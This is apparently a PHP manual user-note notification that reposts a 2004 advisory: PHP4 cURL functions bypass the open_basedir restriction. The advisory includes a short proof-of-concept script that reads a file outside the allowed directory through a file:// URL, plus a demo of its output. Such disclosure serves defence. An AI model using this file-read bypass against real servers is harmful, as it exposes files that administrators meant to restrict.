note 46955 added to function.curl-init

from http://www.packetstormsecurity.org/0410-advisories/php4curl.txt ==================================================== Subject: PHP4 cURL functions bypass open_basedir Author: frame at kernelpanik.org Product: PHP4 compile with cURL (not tested in PHP5) Vendor: PHP/Zend Vendor URL: www.php.net Tipe: Local Risk: Low/Medium ===================================================== PHP cURL functions bypass open_basedir protection, so users can navigate through filesystem. For example, setting "open_basedir" in php.ini to "/var/www/html" anybody can retrieve "/etc/parla" using cURL functions. == Proof of concept (curl.php) <?php $ch = curl_init("file:///etc/parla"); $file=curl_exec($ch); echo $file ?> == Demo $ cat /etc/parla don't read please! $ links -dump http://localhost/curltest/curl.php don't read please! == Release Timeline No release timeline. -- FraMe <frame@kernelpanik.org> http://www.kernelpanik.org ---- Manual Page -- http://www.php.net/manual/en/function.curl-init.php Edit -- http://master.php.net/manage/user-notes.php?action=edit+46955 Delete -- http://master.php.net/manage/user-notes.php?action=delete+46955&report=yes Reason: bad code -- http://master.php.net/manage/user-notes.php?action=delete+46955&report=yes&reason=bad+code Reason: spam -- http://master.php.net/manage/user-notes.php?action=delete+46955&report=yes&reason=spam Reason: useless example -- http://master.php.net/manage/user-notes.php?action=delete+46955&report=yes&reason=useless+example Reason: contains commercial links -- http://master.php.net/manage/user-notes.php?action=delete+46955&report=yes&reason=contains+commercial+links Reason: useless note -- http://master.php.net/manage/user-notes.php?action=delete+46955&report=yes&reason=useless+note Reject -- http://master.php.net/manage/user-notes.php?action=reject+46955&report=yes Search -- http://master.php.net/manage/user-notes.php